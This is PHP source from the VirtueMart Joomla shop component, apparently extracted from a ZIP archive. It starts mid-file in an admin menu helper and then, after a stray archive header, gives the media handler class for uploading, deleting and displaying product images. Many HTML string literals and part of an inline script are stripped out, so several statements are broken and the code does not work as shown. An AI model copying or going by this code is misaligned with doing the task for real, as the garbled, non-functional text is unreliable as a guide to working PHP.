      '; echo $html; } } /** * Build an array containing all the menu items. * * @param int $moduleId Id of the module to filter on */ static function _getAdminMenu($moduleId = 0) { $db = JFactory::getDBO (); $menuArr = array (); $filter [] = "jmmod.published='1'"; $filter [] = "item.published='1'"; $filter [] = "jmmod.is_admin='1'"; if (! empty ( $moduleId )) { $filter [] = 'vmmod.module_id=' . ( int ) $moduleId; } $query = 'SELECT `jmmod`.`module_id`, `module_name`, `module_perms`, `id`, `name`, `link`, `depends`, `icon_class`, `view`, `task` FROM `#__virtuemart_modules` AS jmmod LEFT JOIN `#__virtuemart_adminmenuentries` AS item ON `jmmod`.`module_id`=`item`.`module_id` WHERE ' . implode ( ' AND ', $filter ) . ' ORDER BY `jmmod`.`ordering`, `item`.`ordering` '; $db->setQuery ( $query ); $result = $db->loadAssocList (); // echo '
      '.print_r($query,1).'
      '; for($i = 0, $n = count ( $result ); $i < $n; $i ++) { $row = $result [$i]; $menuArr [$row['module_id']] ['title'] = 'COM_VIRTUEMART_' . strtoupper ( $row['module_name'] ) . '_MOD'; $menuArr [$row['module_id']] ['items'] [] = $row ; } return $menuArr; } /** * Display the administrative ribbon menu. * @todo The link should be done better */ static function showAdminMenu() { $document = JFactory::getDocument (); $moduleId = JRequest::getInt ( 'module_id', 0 ); $user = JFactory::getUser(); $menuItems = AdminUIHelper::_getAdminMenu ( $moduleId ); ?>
      PK@y>\AA2components/com_virtuemart/helpers/mediahandler.phpnuW+Atransliterate($str); } if(function_exists('mb_ereg_replace')){ $regex = array('#(\.){2,}#', '#[^\w\.\- ]#', '#^\.#'); return mb_ereg_replace($regex, '', $str); } else { $regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#'); return preg_replace($regex, '', $str); } } } class VmMediaHandler { var $media_attributes = 0; var $setRole = false; var $file_name = ''; var $file_extension = ''; var $virtuemart_media_id = ''; function __construct($id=0){ $this->virtuemart_media_id = $id; $this->theme_url = VmConfig::get('vm_themeurl',0); if(empty($this->theme_url)){ $this->theme_url = JURI::root().'components/com_virtuemart/'; } } /** * The type of the media determines the used path for storing them * * @author Max Milbers * @param string $type type of the media, allowed values product, category, shop, vendor, manufacturer, forSale */ public function getMediaUrlByView($type){ //the problem is here, that we use for autocreatoin the name of the model, here products //But for storing we use the product to build automatically the table out of it (product_medias) $choosed = false; if($type == 'product' || $type == 'products'){ $relUrl = VmConfig::get('media_product_path'); $choosed = true; } else if($type == 'category' || $type == 'categories'){ $relUrl = VmConfig::get('media_category_path'); $choosed = true; } else if($type == 'shop'){ $relUrl = VmConfig::get('media_path'); $choosed = true; } else if($type == 'vendor' || $type == 'vendors'){ $relUrl = VmConfig::get('media_vendor_path'); // $relUrl = 'components/com_virtuemart/assets/images/vendors/'; $choosed = true; } else if($type == 'manufacturer' || $type == 'manufacturers'){ $relUrl = VmConfig::get('media_manufacturer_path'); $choosed = true; } else if($type == 'forSale' || $type== 'file_is_forSale'){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $relUrl = shopFunctions::checkSafePath(); if($relUrl){ $choosed = true; $this->file_is_forSale=1; } } // $this->type = $type; // $this->setRole=false; if($choosed && empty($relUrl)){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ); //Todo add general media_path to config //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/'; $this->setRole=true; // } else if(!$choosed and empty($relUrl) and $this->file_is_forSale==0){ } else if(!$choosed and empty($relUrl) ){ vmWarn('COM_VIRTUEMART_MEDIA_CHOOSE_TYPE',$this->file_title ); // vmError('Ignore this message, when it appears while the media synchronisation process, else report to http://forum.virtuemart.net/index.php?board=127.0 : cant create media of unknown type, a programmers error, used type ',$type); //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/typeless/'; $this->setRole=true; } else if(!$choosed and $this->file_is_forSale==1){ $relUrl = ''; $this->setRole=false; } return $relUrl; } /** * This function determines the type of a media and creates it. * When you want to write a child class of the mediahandler, you need to manipulate this function. * We may use later here a hook for plugins or simular * * @author Max Milbers * @param object $table * @param string $type vendor,product,category,... * @param string $file_mimetype such as image/jpeg */ static public function createMedia($table,$type='',$file_mimetype=''){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $extension = strtolower(JFile::getExt($table->file_url)); $isImage = self::isImage($extension); if($isImage){ if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php'); $media = new VmImage(); } else { $media = new VmMediaHandler(); } $attribsImage = get_object_vars($table); foreach($attribsImage as $k=>$v){ $media->$k = $v; } if(empty($type)){ $type = $media->file_type; } else { $media->file_type = $type; } $media->setFileInfo($type); return $media; } /** * This prepares the object for storing the data. This means it does the action * and returns the data for storing in the table * * @author Max Milbers * @param object $table * @param array $data * @param string $type */ static public function prepareStoreMedia($table,$data,$type){ $media = VmMediaHandler::createMedia($table,$type); $data = $media->processAttributes($data); $data = $media->processAction($data); $attribsImage = get_object_vars($media); foreach($attribsImage as $k=>$v){ $data[$k] = $v; } return $data; } /** * Sets the file information and paths/urls and so on. * * @author Max Milbers * @param unknown_type $filename * @param unknown_type $url * @param unknown_type $path */ function setFileInfo($type=0){ $this->file_url_folder = ''; $this->file_path_folder = ''; $this->file_url_folder_thumb = ''; if($this->file_is_forSale==0 and $type!='forSale'){ $this->file_url_folder = $this->getMediaUrlByView($type); $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $this->file_path_folder = str_replace('/',DS,$this->file_url_folder); } else { if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = shopFunctions::checkSafePath(); if(!$safePath){ return FALSE; } $this->file_path_folder = $safePath; $this->file_url_folder = $this->file_path_folder;//str_replace(DS,'/',$this->file_path_folder); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); } //Clean from possible injection while(strpos($this->file_path_folder,'..')!==false){ $this->file_path_folder = str_replace('..', '', $this->file_path_folder); }; $this->file_path_folder = preg_replace('#[/\\\\]+#', DS, $this->file_path_folder); if(empty($this->file_url)){ $this->file_url = $this->file_url_folder; $this->file_name = ''; $this->file_extension = ''; } else { if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if($this->file_is_forSale==1){ $rdspos = strrpos($this->file_url,DS); if($rdspos!==false){ $name = substr($this->file_url,$rdspos+1); } else { vmdebug('$name',$this->file_url,$rdspos); } } else { //This construction is only valid for the images, it is for own structuring using folders $name = str_replace($this->file_url_folder,'',$this->file_url); } //vmdebug('setFileInfo',$name,$this->file_title); if(!empty($name) && $name !=='/'){ $this->file_name = JFile::stripExt($name); $this->file_extension = strtolower(JFile::getExt($name)); //Ensure using right directory $file_url = $this->getMediaUrlByView($type).$name; if($this->file_is_forSale==1){ if(JFile::exists($file_url)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in safepath '.$file_url); } } else { $pathToTest = JPATH_ROOT.DS.str_replace('/',DS,$file_url); if(JFile::exists($pathToTest)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in '.$pathToTest); } } } } if($this->file_is_downloadable) $this->media_role = 'file_is_downloadable'; if($this->file_is_forSale) $this->media_role = 'file_is_forSale'; if(empty($this->media_role)) $this->media_role = 'file_is_displayable'; // vmdebug('$this->media_role',$this->media_role); $this->determineFoldersToTest(); if(!empty($this->file_url) && empty($this->file_url_thumb)){ $this->displayMediaThumb('',true,'',false); } } public function getUrl(){ return $this->file_url_folder.$this->file_name.'.'.$this->file_extension; } public function getThumbUrl(){ return $this->file_url_folder_thumb.$this->file_name.'.'.$this->file_extension; } public function getFullPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; } public function getThumbPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name_thumb.'.'.$this->file_extension; } /** * Tests if a function is an image by mime or extension * * @author Max Milbers * @param string $file_mimetype * @param string $file_extension */ static private function isImage($file_extension=0){ if($file_extension == 'jpg' || $file_extension == 'jpeg' || $file_extension == 'png' || $file_extension == 'gif'){ $isImage = TRUE; } else { $isImage = FALSE; } return $isImage; } private $_foldersToTest = array(); /** * This functions adds the folders to test for each media, you can add more folders to test with * addFoldersToTest * @author Max Milbers */ public function determineFoldersToTest(){ $file_path = str_replace('/',DS,$this->file_url_folder); if($this->file_is_forSale){ $this->addFoldersToTest($file_path); } else { $this->addFoldersToTest(JPATH_ROOT.DS.$file_path); } $file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb); $this->addFoldersToTest(JPATH_ROOT.DS.$file_path_thumb); } /** * Add complete paths here to test/display if their are writable * * @author Max Milbers * @param absolutepPath $folders */ public function addFoldersToTest($folders){ if(!is_array($folders)) $folders = (array) $folders; $this->_foldersToTest = array_merge($this->_foldersToTest, $folders); } /** * Displays for paths if they are writeable * You set the folders to test with the function addFoldersToTest * @author Max Milbers */ public function displayFoldersWriteAble(){ $style = 'text-align:left;margin-left:20px;'; $result = '
      '; foreach( $this->_foldersToTest as $dir ) { $result .= $dir . ' :: '; $result .= is_writable( $dir ) ? ''.JText::_('COM_VIRTUEMART_WRITABLE').'' : ''.JText::_('COM_VIRTUEMART_UNWRITABLE').''; $result .= '
      '; } $result .= '
      '; return $result; } /** * Shows the supported file types for the server * * @author enyo 06-Nov-2003 03:32 http://www.php.net/manual/en/function.imagetypes.php * @author Max Milbers * @return multitype:string */ function displaySupportedImageTypes() { $aSupportedTypes = array(); $aPossibleImageTypeBits = array( IMG_GIF=>'GIF', IMG_JPG=>'JPG', IMG_PNG=>'PNG', IMG_WBMP=>'WBMP' ); foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) { if(function_exists('imagetypes')){ if (imagetypes() & $iImageTypeBits) { $aSupportedTypes[] = $sImageTypeString; } } } $supportedTypes = ''; if(function_exists('mime_content_type')){ $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED').'
      '; } else { $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED').'
      '; } $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED'). implode($aSupportedTypes,', '); return $supportedTypes; } /** * Just for overwriting purpose for childs. Take a look on VmImage to see an example * * @author Max Milbers */ function displayMediaFull(){ return $this->displayMediaThumb('id="vm_display_image"',false,'',true,true); } /** * This function displays the image, when the image is not already a resized one, * it tries to get first the resized one, or create a resized one or fallback in case * * @author Max Milbers * * @param string $imageArgs Attributes to be included in the tag. * @param boolean $lightbox alternative display method * @param string $effect alternative lightbox display * @param boolean $withDesc display the image media description */ function displayMediaThumb($imageArgs='',$lightbox=true,$effect="class='modal' rel='group'",$return = true,$withDescr = false,$absUrl = false, $width=0,$height=0){ if(empty($this->file_name)){ if($return){ if($this->file_is_downloadable){ $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('downloadable','zip.png'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr); } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_set'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect); } } } if(!empty($this->file_url_thumb)){ $file_url_thumb = $this->file_url_thumb; } else if(is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); } else { $file_url_thumb = ''; } $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); if(empty($this->file_meta)){ if(!empty($this->file_description)){ $file_alt = $this->file_description; } else if(!empty($this->file_name)) { $file_alt = $this->file_name; } else { $file_alt = ''; } } else { $file_alt = $this->file_meta; } if ((empty($file_url_thumb) || !file_exists($media_path)) && is_a($this,'VmImage')) { if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); //vmSetStartTime('thumb'); $file_url_thumb = $this->createThumb($width,$height); //vmTime('Time to create thumb','thumb'); // vmdebug('displayMediaThumb',$this->file_url_thumb); $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); //$file_url = $this->file_url_thumb; //Here we need now to update the database field of $this->file_url_thumb to prevent dynamic thumbnailing in future //We do not update anylonger, only if there is an override used /*if(empty($this->_db)) $this->_db = JFactory::getDBO(); $query = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb` = "'.$this->_db->getEscaped($this->file_url_thumb).'" WHERE `#__virtuemart_medias`.`virtuemart_media_id` = "'.(int)$this->virtuemart_media_id.'" '; $this->_db->setQuery($query); $this->_db->query();*/ } $this->file_url_thumb = $file_url_thumb; if($withDescr) $withDescr = $this->file_description; if (empty($this->file_url_thumb) || !file_exists($media_path)) { return $this->getIcon($imageArgs,$lightbox,$return,$withDescr,$absUrl); } if($return) return $this->displayIt($file_url_thumb, $file_alt, $imageArgs,$lightbox,$effect,$withDescr,$absUrl); } /** * This function should return later also an icon, if there isnt any automatic thumbnail creation possible * like pdf, zip, ... * * @author Max Milbers * @param string $imageArgs * @param boolean $lightbox */ function getIcon($imageArgs,$lightbox,$return=false,$withDescr=false,$absUrl = false){ if(!empty($this->file_extension)){ $file_url = $this->theme_url.'assets/images/vmgeneral/filetype_'.$this->file_extension.'.png'; $file_alt = $this->file_description; } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description; } if($return){ if($this->file_is_downloadable){ return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr,$absUrl); } else { return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,'',$withDescr,$absUrl); } } } /** * This function is just for options how to display an image... * we may add here plugins for displaying images * * @author Max Milbers * @param string $file_url relative Url * @param string $file_alt media description * @param string $imageArgs attributes for displaying the images * @param boolean $lightbox use lightbox */ function displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect ="class='modal'",$withDesc=false,$absUrl = false){ if ($withDesc) $desc=''.$withDesc.''; else $desc=''; // vmdebug('displayIt $file_alt'.$file_alt,$imageArgs); if($lightbox){ $image = JHTML::image($file_url, $file_alt, $imageArgs); if ($file_alt ) $file_alt = 'title="'.$file_alt.'"'; if ($this->file_url and pathinfo($this->file_url, PATHINFO_EXTENSION) and substr( $this->file_url, 0, 4) != "http") $href = JURI::root() .$this->file_url ; else $href = $file_url ; if ($this->file_is_downloadable) { $lightboxImage = ''.$image.$desc.''; } else { $lightboxImage = ''.$image.''; $lightboxImage = $lightboxImage.$desc; } return $lightboxImage; } else { $root=''; if($absUrl) $root = JURI::root(); return JHTML::image($root.$file_url, $file_alt, $imageArgs).$desc; } } /** * Handles the upload process of a media, sets the mime_type, when success * * @author Max Milbers * @param string $urlfolder relative url of the folder where to store the media * @return name of the uploaded file */ function uploadFile($urlfolder,$overwrite = false){ if(empty($urlfolder) OR strlen($urlfolder)<2){ vmError('Not able to upload file, give path/url empty/too short '.$urlfolder.' please correct path in your virtuemart config'); return false; } $media = JRequest::getVar('upload', array(), 'files'); $app = JFactory::getApplication(); switch ($media['error']) { case 0: $path_folder = str_replace('/',DS,$urlfolder); //Sadly it does not work to upload unicode files, // the ä for example is stored on windows as ä, this seems to be a php issue (maybe a config setting) // //Sanitize name of media /* $dotPos = strrpos($media['name'],'.'); $safeMediaName = vmFile::makeSafe( $media['name'] ); if($dotPos!==FALSE){ $mediaPure = substr($media['name'],0,$dotPos); $mediaExtension = strtolower(substr($media['name'],$dotPos)); } else{ $mediaPure = ''; $mediaExtension = ''; } */ $safeMediaName = vmFile::makeSafe( $media['name'] ); $media['name'] = $safeMediaName; $mediaPure = JFile::stripExt($media['name']); $mediaExtension = '.'.strtolower(JFile::getExt($media['name'])); vmdebug('uploadFile $safeMediaName',$media['name'],$safeMediaName,$mediaPure,$mediaExtension); if(!$overwrite){ while (file_exists(JPATH_ROOT.DS.$path_folder.$mediaPure.$mediaExtension)) { $mediaPure = $mediaPure.rand(1,9); } } $media['name'] = $this->file_name =$mediaPure.$mediaExtension; if($this->file_is_forSale==0){ JFile::upload($media['tmp_name'],JPATH_ROOT.DS.$path_folder.$media['name']); } else { JFile::upload($media['tmp_name'],$path_folder.$media['name']); } $this->file_mimetype = $media['type']; $this->media_published = 1; $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_UPLOAD_OK',JPATH_ROOT.DS.$path_folder.$media['name'])); return $media['name']; case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_UPLOAD_MAX_FILESIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_MAX_FILE_SIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 3: //uploaded file was only partially uploaded $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_PARTIALLY',$media['name'],$media['tmp_name']), 'warning'); break; case 4: //no file was uploaded //$vmLogger->warning( "You have not selected a file/image for upload." ); break; default: //a default error, just in case! :) //$vmLogger->warning( "There was a problem with your upload." ); break; } return false; } /** * Deletes a file * * @param string $url relative Url, gets adjusted to path */ function deleteFile($url){ jimport('joomla.filesystem.file'); $file_path = JPATH_ROOT.DS.str_replace('/',DS,$url); $app = JFactory::getApplication(); if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } $msg_path = ''; if(Permissions::getInstance()->check('admin')){ $msg_path = $file_path; } if($res = JFile::delete( $file_path )){ $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_OK',$msg_path)); } else { $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_ERR',$res.' '.$msg_path)); } return ; } /** * Processes the choosed Action while storing the data, gets extend by the used child, use for the action clear commands. * Useable commands in all medias upload, upload_delete, delete, and all of them with _thumb on it also. * * @author Max Milbers * @param arraybyform $data */ function processAction($data){ if(empty($data['media_action'])) return $data; // $data['published'] = 1; if( $data['media_action'] == 'upload' ){ $this->virtuemart_media_id=0; $this->file_url=''; $this->file_url_thumb=''; $file_name = $this->uploadFile($this->file_url_folder); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; } else if( $data['media_action'] == 'replace' ){ // $oldFileUrl = $data['file_url']; // vmdebug('replace media',$this); $oldFileUrl = $this->file_url; $oldFileUrlThumb = $this->file_url_thumb; $file_name = $this->uploadFile($this->file_url_folder,true); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; if($this->file_url!=$oldFileUrl && !empty($this->file_name)){ $this->deleteFile($oldFileUrl); } //always delete the thumb $this->deleteFile($oldFileUrlThumb); } else if( $data['media_action'] == 'replace_thumb' ){ $oldFileUrlThumb = $this->file_url_thumb; $oldFileUrl = $this->file_url_folder_thumb; $file_name = $this->uploadFile($this->file_url_folder_thumb,true); $this->file_name = $file_name; $this->file_url_thumb = $this->file_url_folder_thumb.$this->file_name; if($this->file_url_thumb!=$oldFileUrl&& !empty($this->file_name)){ $this->deleteFile($oldFileUrlThumb); } } else if( $data['media_action'] == 'delete' ){ //TODO this is complex, we must assure that the media entry gets also deleted. //$this->deleteFile($this->file_url); unset($data['active_media_id']); } if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name; // if(empty($this->file_title) && !empty($file_name)) $data['file_title'] = $file_name; return $data; } /** * For processing the Attributes of the media while the storing process * * @author Max Milbers * @param unknown_type $data */ function processAttributes($data){ $this->file_is_product_image = 0; $this->file_is_downloadable = 0; // $this->file_is_forSale = 0; if(empty($data['media_roles'])) return $data; if($data['media_roles'] == 'file_is_downloadable'){ $this->file_is_downloadable = 1; $this->file_is_forSale = 0; } else if($data['media_roles'] == 'file_is_forSale'){ $this->file_is_downloadable = 0; $this->file_is_forSale = 1; $this->file_url_folder = VmConfig::get('forSale_path'); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); $this->setRole = false; } if($this->setRole and $data['media_roles'] != 'file_is_forSale'){ $this->file_url_folder = $this->getMediaUrlByView($data['media_attributes']); //media_roles $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $typelessUrl = 'images/stories/virtuemart/typeless/'.$this->file_name; vmdebug('the Urls',$data['media_roles'],$typelessUrl,$this->file_url_folder.$this->file_name); if(!file_exists($this->file_url_folder.$this->file_name) and file_exists($typelessUrl)){ vmdebug('Execute move'); JFile::move($typelessUrl, $this->file_url_folder.$this->file_name); } } if(!empty($data['vmlangimg'])) { $vmlangimg = implode(",", $data['vmlangimg']); $this->file_lang = $vmlangimg; } return $data; } private $_actions = array(); /** * This method can be used to add extra actions to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ function addMediaAction($optionName,$langkey){ $this->_actions[$optionName] = $langkey ; } /** * Adds the media action which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ function addMediaActionByType(){ $this->addMediaAction(0,'COM_VIRTUEMART_NONE'); $view = JRequest::getWord('view'); if($view!='media' || empty($this->file_name)){ $this->addMediaAction('upload','COM_VIRTUEMART_FORM_MEDIA_UPLOAD'); } if(!empty($this->file_name)){ $this->addMediaAction('replace','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE'); $this->addMediaAction('replace_thumb','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB'); // $this->addMediaAction('delete_thumb','COM_VIRTUEMART_FORM_MEDIA_DELETE_THUMB'); // $this->addMediaAction('delete','COM_VIRTUEMART_FORM_MEDIA_DELETE'); } } private $_mLocation = array(); /** * This method can be used to add extra attributes to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ public function addMediaAttributes($optionName,$langkey=''){ $this->_mLocation[$optionName] = $langkey ; } /** * Adds the attributes which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ public function addMediaAttributesByType(){ if($this->setRole){ // $this->addMediaAttributes('file_is_product_image','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); $this->addMediaAttributes('product','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); // => file_is_displayable =>location $this->addMediaAttributes('category','COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY'); $this->addMediaAttributes('manufacturer','COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER'); $this->addMediaAttributes('vendor','COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR'); $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { if($this->file_is_forSale==1){ $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; } } } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displayFileHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel media */ public function addHidden($name, $value=''){ $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * @author Max Milbers */ private function addHiddenByType(){ $this->addHidden('active_media_id',$this->virtuemart_media_id); $this->addHidden('option','com_virtuemart'); // $this->addHidden('file_mimetype',$this->file_mimetype); } /** * Displays file handler and file selector * * @author Max Milbers * @param array $fileIds */ public function displayFilesHandler($fileIds,$type){ VmConfig::loadJLang('com_virtuemart_media'); $html = $this->displayFileSelection($fileIds,$type); $html .= $this->displayFileHandler(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_db->setQuery('SELECT FOUND_ROWS()'); $imagetotal = $this->_db->loadResult(); //vmJsApi::jQuery(array('easing-1.3.pack','mousewheel-3.0.4.pack','fancybox-1.3.4.pack'),'','fancybox'); $j = ' //0) media.start=0; }); searchMedia.autocomplete({ source: medialink, select: function(event, ui){ $('#ImagesContainer').append(ui.item.label); //$(this).autocomplete( 'option' , 'source' , '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=product&task=getData&format=json&type=relatedcategories&row='+nextCustom ) }, minLength:1, html: true }); $('.js-pages').click(function (e) { e.preventDefault(); if (searchMedia.val() =='') { searchMedia.val(' '); media.start = 0; } else if ($(this).hasClass('js-next')) media.start = media.start+16 ; else if (media.start > 0) media.start = media.start-16 ; searchMedia.autocomplete( 'option' , 'source' , medialink+'&start='+media.start ); searchMedia.autocomplete( 'search'); }); $('#ImagesContainer').sortable({ update: function(event, ui) { $(this).find('.ordering').each(function(index,element) { $(element).val(index); //console.log(index+' '); }); } }); $('#upload').change( function (){ if ($('#media_action0').is(':checked') ) $('#media_actionupload').attr('checked', true); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ( $j); return $html; } /** * Displays a possibility to select already uploaded media * the getImagesList must be adjusted to have more search functions * @author Max Milbers * @param array $fileIds */ public function displayFileSelection($fileIds,$type = 0){ $html=''; $html .= '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGES').''; $html .= ''.JText::_('COM_VIRTUEMART_SEARCH_MEDIA') . ''; $html .= ' 16 16 '; $html .='
      '; $html .= '
      '; if(!empty($fileIds)) { $model = VmModel::getModel('Media'); $medias = $model->createMediaByIds($fileIds, $type); foreach($medias as $k=>$id){ $html .= $this->displayImage($id,$k ); } } $html .= '
      '; return $html.'
      '; } function displayImage($image ,$key) { if (isset($image->file_url)) { $image->file_root = JURI::root(true).'/'; $image->msg = 'OK'; return ''; } else { $fileTitle = empty($image->file_title)? 'no title':$image->file_title; return '
      '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
      '.$fileTitle.'
      '; } } static function displayImages($types ='',$page=0,$max=16 ) { $Images = array(); $list = VmMediaHandler::getImagesList($types,$page,$max); if (empty($list['images'])){ return JText::_('COM_VIRTUEMART_NO_MEDIA_FILES'); } foreach ($list['images'] as $key =>$image) { $htmlImages =''; if ($image->file_url_thumb > "0" ) { // $imagesList->file_root = JURI::root(true).'/'; // $imagesList->msg = 'OK'; $htmlImages .= '
      ' .JHTML::image($image->file_url_thumb,$image->file_title, 'class="vm_thumb" ').''; } else { $htmlImages .= '
      '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
      '.$image->file_title ; } $Images[$key ]['label'] = $htmlImages.'
      '; $Images[$key ]['value'] = $image->file_title.' :: '.$image->virtuemart_media_id; } //$list['htmlImages'] = $htmlImages; return $Images; } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getFiles function of the media model or write something simular * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getImagesList($type = '',$limit=0, $max=16) { $db = JFactory::getDBO(); $list = array(); $vendorId=1;//TODO control the vendor $q='SELECT SQL_CALC_FOUND_ROWS `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "'.(int)$vendorId.'" OR `shared` = "1")'; if(!empty($type)){ $q .= ' AND `file_type` = "'.$type.'" '; } if ($search = JRequest::getString('term', false)){ $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $q .= ' AND (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.') '; } $q .= ' LIMIT '.(int)$limit.', '.(int)$max; $db->setQuery($q); // $result = $this->_db->loadAssocList(); if ($virtuemart_media_ids = $db->loadResultArray()) { $errMsg = $db->getErrorMsg(); $errs = $db->getErrors(); $model = VmModel::getModel('Media'); $db->setQuery('SELECT FOUND_ROWS()'); $list['total'] = $db->loadResult(); $list['images'] = $model->createMediaByIds($virtuemart_media_ids, $type); if(!empty($errMsg)){ $app = JFactory::getApplication(); $errNum = $db->getErrorNum(); $app->enqueueMessage('SQL-Error: '.$errNum.' '.$errMsg); } if($errs){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } return $list; } else return array(); } /** * This displays a media handler. It displays the full and the thumb (icon) of the media. * It also gives a possibility to upload/change/thumbnail media * * @param string $imageArgs html atttributes, Just for displaying the fullsized image */ public function displayFileHandler(){ VmConfig::loadJLang('com_virtuemart_media'); $identify = ''; // ':'.$this->virtuemart_media_id; $this->addHiddenByType(); $html = '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGE_INFORMATION').''; $html .= '
      '; $imageArgs = 'id="vm_display_image" '; $html .= $this->displayMediaFull($imageArgs,false,'',false).'
      '; //This makes problems, when there is already a form, and there would be form in a form. breaks js in some browsers // $html .= '
